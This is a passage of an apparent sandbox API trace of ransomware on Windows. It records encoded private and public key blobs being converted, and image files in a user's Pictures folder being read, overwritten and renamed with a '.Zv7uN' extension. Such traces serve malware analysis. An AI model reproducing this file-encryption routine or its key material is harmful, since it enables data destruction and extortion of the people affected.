KlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.434] GetCurrentThreadId () returned 0xa30 [0085.434] GetCurrentThreadId () returned 0xa30 [0085.434] GetCurrentThreadId () returned 0xa30 [0085.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.435] GetCurrentThreadId () returned 0xa30 [0085.435] GetCurrentThreadId () returned 0xa30 [0085.435] GetCurrentThreadId () returned 0xa30 [0085.435] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\kgcPTg_QemXoYwIC0.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\kgcptg_qemxoywic0.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0085.435] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0085.436] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0085.436] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0xae7 [0085.436] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0085.436] ReadFile (in: hFile=0x11c, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0xae7, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f108*=0xae7, lpOverlapped=0x0) returned 1 [0085.438] CloseHandle (hObject=0x11c) returned 1 [0085.438] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\kgcPTg_QemXoYwIC0.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\kgcptg_qemxoywic0.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0085.440] WriteFile (in: hFile=0x11c, lpBuffer=0x1efafa0*, nNumberOfBytesToWrite=0xae7, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1efafa0*, lpNumberOfBytesWritten=0x18f114*=0xae7, lpOverlapped=0x0) returned 1 [0085.442] CloseHandle (hObject=0x11c) returned 1 [0085.448] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\kgcPTg_QemXoYwIC0.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\kgcptg_qemxoywic0.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\kgcPTg_QemXoYwIC0.gif.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\kgcptg_qemxoywic0.gif.zv7un")) returned 1 [0085.449] GetCurrentThreadId () returned 0xa30 [0085.449] GetCurrentThreadId () returned 0xa30 [0085.449] GetCurrentThreadId () returned 0xa30 [0085.449] GetCurrentThreadId () returned 0xa30 [0085.449] GetCurrentThreadId () returned 0xa30 [0085.449] GetCurrentThreadId () returned 0xa30 [0085.449] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7aab9170, ftCreationTime.dwHighDateTime=0x1d5e4b7, ftLastAccessTime.dwLowDateTime=0x5e0d4830, ftLastAccessTime.dwHighDateTime=0x1d5dec5, ftLastWriteTime.dwLowDateTime=0x5e0d4830, ftLastWriteTime.dwHighDateTime=0x1d5dec5, nFileSizeHigh=0x0, nFileSizeLow=0x13faf, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="soZZ.png", cAlternateFileName="")) returned 1 [0085.449] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0085.449] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0085.449] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\soZZ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\sozz.png"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7aab9170, ftCreationTime.dwHighDateTime=0x1d5e4b7, ftLastAccessTime.dwLowDateTime=0x5e0d4830, ftLastAccessTime.dwHighDateTime=0x1d5dec5, ftLastWriteTime.dwLowDateTime=0x5e0d4830, ftLastWriteTime.dwHighDateTime=0x1d5dec5, nFileSizeHigh=0x0, nFileSizeLow=0x13faf)) returned 1 [0085.450] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\soZZ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\sozz.png")) returned 0x20 [0085.450] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\soZZ.png", dwFileAttributes=0x80) returned 1 [0085.452] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.452] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vC